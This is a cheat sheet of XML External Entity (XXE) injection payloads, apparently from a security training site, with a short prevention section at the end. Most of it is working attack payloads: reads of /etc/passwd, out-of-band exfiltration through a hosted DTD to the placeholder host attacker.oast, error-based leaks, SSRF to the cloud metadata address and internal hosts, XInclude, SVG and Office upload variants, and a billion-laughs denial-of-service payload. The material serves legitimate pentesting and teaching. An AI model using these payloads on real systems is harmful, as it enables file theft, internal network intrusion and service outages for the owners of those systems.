XXE: The Complete Practical Guide to XML External Entity Injection

XXE Cheat Sheet

A dense, copy-pasteable XXE reference: in-band file read, parameter entities, out-of-band and error-based exfil, SSRF, XInclude, and prevention.

Published

Every XXE payload you reach for, in one place. The core move never changes: get the parser to resolve an external entity that points at a file or a URL, then read the result in-band or exfiltrate it out-of-band. For the how and why behind each section, start at the XXE guide. Lock it in on a free live target.

Basic file read (in-band)

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>

Put &xxe; in whatever element the response echoes back. Swap the path for app config, source, or secrets. See in-band file read.

Parameter entities (needed for most blind work)

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.oast/?x=%file;'>">
  %eval;
  %exfil;
]>

%name; is a parameter entity (used inside the DTD). &#x25; is a literal %, so the inner entity is built at parse time rather than interpreted immediately.

Out-of-band exfil via a hosted external DTD

<!-- Request body: -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.oast/evil.dtd"> %xxe; ]>
<data>test</data>
<!-- evil.dtd hosted on attacker.oast: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://attacker.oast/?d=%file;'>">
%eval;
%send;

Host the DTD externally because the XML spec disallows this parameter-entity nesting in the inline DTD. See blind XXE.

Error-based exfil (no callback channel, only error messages come back)

<!-- evil.dtd: force the file contents into a parse-error path (single-line file) -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; err SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%err;

The parser throws an error that includes the resolved (nonexistent) path, leaking the file contents in the error text.

SSRF via XXE (reach internal / cloud)

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<data>&xxe;</data>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-admin:8080/"> ]>
<data>&xxe;</data>

From here the full SSRF playbook applies. See SSRF via XXE.

XInclude (no DOCTYPE available, you only control a sub-node)

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

parse="text" reads the file as raw text, so XML-special characters do not break it. See XInclude attacks.

Content-type switch (JSON endpoint that also parses XML)

POST /api/item HTTP/1.1
Content-Type: application/xml
 
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<item><name>&xxe;</name></item>

See XXE via content-type switch.

SVG upload XXE (image / avatar features)

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">
  <text x="10" y="40">&xxe;</text>
</svg>

Upload as .svg and read the rendered/thumbnailed output. For .docx/.xlsx, inject the DOCTYPE into word/document.xml / xl/workbook.xml inside the ZIP, then re-zip. See XXE via file upload.

Billion laughs (DoS, awareness only, do NOT run on shared targets)

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

Entity-expansion bomb: each level multiplies, exhausting memory and CPU. Noted for awareness only, never fire it at a shared or production environment.

Prevention

  • Disable DTD processing entirely - the single fix that kills every XXE variant.
  • Per parser: Java disallow-doctype-decl = true. .NET DtdProcessing = Prohibit plus XmlResolver = null. PHP libxml 2.9+/PHP 8+ is off by default, so just avoid LIBXML_NOENT (libxml_disable_entity_loader() is deprecated in PHP 8, and LIBXML_NO_XXE exists on libxml 2.13+ / PHP 8.4+). Python use defusedxml.
  • If you cannot disable DTDs: disable external general + parameter entities and external DTD loading.
  • Do not blacklist <!ENTITY> / SYSTEM in input - encodings, content-type switch, and XInclude route around it.
  • Prefer JSON and XML libraries that are safe by default. Full detail in preventing XXE.

← Back to XXE: The Complete Practical Guide to XML External Entity Injection